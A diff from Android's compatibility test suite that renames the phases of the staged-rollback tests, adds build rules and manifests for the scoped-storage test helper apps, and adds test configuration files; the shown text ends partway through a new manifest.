@@ -134,13 +134,13 @@
     public void testApexOnlyStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlyStagedRollback_Phase1");
+        run("testApexOnlyStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase2");
+        run("testApexOnlyStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase3");
+        run("testApexOnlyStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase4");
+        run("testApexOnlyStagedRollback_Phase4_Confirm");
     }
 
     /**
@@ -150,11 +150,11 @@
     public void testApexOnlySystemVersionStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlySystemVersionStagedRollback_Phase1");
+        run("testApexOnlySystemVersionStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase2");
+        run("testApexOnlySystemVersionStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase3");
+        run("testApexOnlySystemVersionStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -165,13 +165,13 @@
         assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexAndApkStagedRollback_Phase1");
+        run("testApexAndApkStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase2");
+        run("testApexAndApkStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase3");
+        run("testApexAndApkStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase4");
+        run("testApexAndApkStagedRollback_Phase4_Confirm");
     }
 
     private void assumeSystemUser() throws Exception {
@@ -187,11 +187,11 @@
     public void testApexRollbackExpiration() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexRollbackExpiration_Phase1");
+        run("testApexRollbackExpiration_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase2");
+        run("testApexRollbackExpiration_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase3");
+        run("testApexRollbackExpiration_Phase3_Confirm");
     }
 
     /**
@@ -201,11 +201,11 @@
     public void testApexKeyRotationStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexKeyRotationStagedRollback_Phase1");
+        run("testApexKeyRotationStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase2");
+        run("testApexKeyRotationStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase3");
+        run("testApexKeyRotationStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -213,8 +213,23 @@
      */
     @Test
     public void testApkRollbackByAnotherInstaller() throws Exception {
-        run("testApkRollbackByAnotherInstaller_Phase1");
-        run2("testApkRollbackByAnotherInstaller_Phase2");
+        run("testApkRollbackByAnotherInstaller_Phase1_FirstInstaller");
+        run2("testApkRollbackByAnotherInstaller_Phase2_SecondInstaller");
+    }
+
+    /**
+     * Tests that existing staged sessions are failed when rollback is committed
+     */
+    @Test
+    public void testRollbackFailsBlockingSessions() throws Exception {
+        assumeTrue("Device does not support file-system checkpoint",
+                mHostUtils.isCheckpointSupported());
+
+        run("testRollbackFailsBlockingSessions_Phase1_Install");
+        getDevice().reboot();
+        run("testRollbackFailsBlockingSessions_Phase2_RollBack");
+        getDevice().reboot();
+        run("testRollbackFailsBlockingSessions_Phase3_Confirm");
     }
 
     /**
@@ -227,9 +242,9 @@
         try {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
 
-            run("testFingerprintChange_Phase1");
+            run("testFingerprintChange_Phase1_Install");
             getDevice().reboot();
-            run("testFingerprintChange_Phase2");
+            run("testFingerprintChange_Phase2_Confirm");
         } finally {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
         }
diff --git a/hostsidetests/sample/app/AndroidManifest.xml b/hostsidetests/sample/app/AndroidManifest.xml
index dfacf25..f1e8374 100755
--- a/hostsidetests/sample/app/AndroidManifest.xml
+++ b/hostsidetests/sample/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sample.app">
+     package="android.sample.app">
 
     <application>
-        <activity android:name=".SampleDeviceActivity" >
+        <activity android:name=".SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 7406fcb..7fa469b 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -21,21 +21,40 @@
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
+    min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
+    min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
     manifest: "ScopedStorageTestHelper/TestAppC.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
+    min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppC30",
+    manifest: "ScopedStorageTestHelper/TestAppC.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
@@ -43,7 +62,80 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     target_sdk_version: "28",
+    min_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppDLegacy",
+    manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "28",
+    min_sdk_version: "28",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+}
+
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppFileManager",
+    manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    min_sdk_version: "30",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppFileManagerBypassDB",
+    manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
+    manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
+    manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+
+android_test_helper_app {
+    name: "CtsLegacyStorageTestAppRequestLegacy",
+    manifest: "legacy/AndroidManifest.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "29",
+    min_sdk_version: "29",
+    srcs: ["legacy/src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "CtsLegacyStorageTestAppPreserveLegacy",
+    manifest: "legacy/preserveLegacy.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    min_sdk_version: "30",
+    srcs: ["legacy/src/**/*.java"],
 }
 
 android_test {
@@ -52,8 +144,9 @@
     srcs: ["src/**/*.java"],
     static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     sdk_version: "test_current",
+    min_sdk_version: "30",
     java_resources: [
         ":CtsScopedStorageTestAppA",
         ":CtsScopedStorageTestAppB",
@@ -61,32 +154,74 @@
         ":CtsScopedStorageTestAppCLegacy",
     ]
 }
+
 android_test {
     name: "LegacyStorageTest",
     manifest: "legacy/AndroidManifest.xml",
     srcs: ["legacy/src/**/*.java"],
     static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
     compile_multilib: "both",
-    test_suites: ["general-tests", "mts", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     sdk_version: "test_current",
     target_sdk_version: "29",
+    min_sdk_version: "30",
     java_resources: [
         ":CtsScopedStorageTestAppA",
     ]
 }
 
 java_test_host {
+    name: "CtsScopedStorageCoreHostTest",
+    srcs:  [
+        "host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java",
+        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+    ],
+    libs: ["cts-tradefed", "tradefed", "testng"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    test_config: "CoreTest.xml",
+}
+
+java_test_host {
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed", "testng"],
+    libs: ["cts-tradefed", "tradefed", "testng"],
     test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     test_config: "AndroidTest.xml",
+    data: [
+        ":CtsLegacyStorageTestAppRequestLegacy",
+        ":CtsLegacyStorageTestAppPreserveLegacy",
+    ],
 }
 
 java_test_host {
     name: "CtsScopedStoragePublicVolumeHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed", "testng"],
-    test_suites: ["general-tests", "mts"],
+    libs: ["cts-tradefed", "tradefed", "testng"],
+    test_suites: ["general-tests", "mts-mediaprovider"],
     test_config: "PublicVolumeTest.xml",
 }
+
+android_test {
+    name: "CtsScopedStorageDeviceOnlyTest",
+    manifest: "device/AndroidManifest.xml",
+    test_config: "device/AndroidTest.xml",
+    srcs: ["device/**/*.java"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+    compile_multilib: "both",
+    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    sdk_version: "test_current",
+    min_sdk_version: "30",
+    libs: ["android.test.base", "android.test.mock", "android.test.runner",],
+    java_resources: [
+        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppC",
+        ":CtsScopedStorageTestAppC30",
+        ":CtsScopedStorageTestAppCLegacy",
+        ":CtsScopedStorageTestAppDLegacy",
+        ":CtsScopedStorageTestAppFileManager",
+        ":CtsScopedStorageTestAppFileManagerBypassDB",
+        ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+        ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+    ]
+}
diff --git a/hostsidetests/scopedstorage/AndroidManifest.xml b/hostsidetests/scopedstorage/AndroidManifest.xml
index 0394f4b..2f16b9c 100644
--- a/hostsidetests/scopedstorage/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/AndroidManifest.xml
@@ -20,9 +20,7 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-    <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
+    <application android:requestRawExternalStorageAccess="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index bbdf653..8749087 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -24,9 +24,13 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageInstantAppHostTest" />
     </test>
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
new file mode 100644
index 0000000..5b725e1
--- /dev/null
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Scoped storage and legacy tests that are marked as core for MediaProvider module">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ScopedStorageTest.apk" />
+        <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/PublicVolumeTest.xml b/hostsidetests/scopedstorage/PublicVolumeTest.xml
index 8bd3361..1dc4017 100644
--- a/hostsidetests/scopedstorage/PublicVolumeTest.xml
+++ b/hostsidetests/scopedstorage/PublicVolumeTest.xml
@@ -19,9 +19,13 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.PublicVolumeHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.PublicVolumeCoreHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.PublicVolumeLegacyHostTest" />
     </test>
 
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
index 1747eb6..d2a2882 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
@@ -15,21 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.A"
+    package="android.scopedstorage.cts.testapp.A.withres"
     android:versionCode="1"
     android:versionName="1.0" >
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppA">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.A.withres"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
-
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
index cf9a327..7badc29 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
@@ -15,21 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.B"
+    package="android.scopedstorage.cts.testapp.B.noperms"
     android:versionCode="1"
     android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
     <application android:label="TestAppB">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.B.noperms"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
-
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
index e6ee00a..8cdeecb 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
@@ -25,12 +25,22 @@
   <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppC">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.C"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
index be1bd75..394afc5 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
@@ -23,12 +23,22 @@
   <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppCLegacy">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.C"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
new file mode 100644
index 0000000..18f49dc
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.D"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppDLegacy">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.D"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
new file mode 100644
index 0000000..1956d34
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.filemanager"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppFileManager">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.filemanager"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml
new file mode 100644
index 0000000..ab291e8
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.filemanagerbypassdb"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppFileManagerBypassDB" android:requestRawExternalStorageAccess="true">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.filemanagerbypassdb"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
new file mode 100644
index 0000000..2114cdf
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+  <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
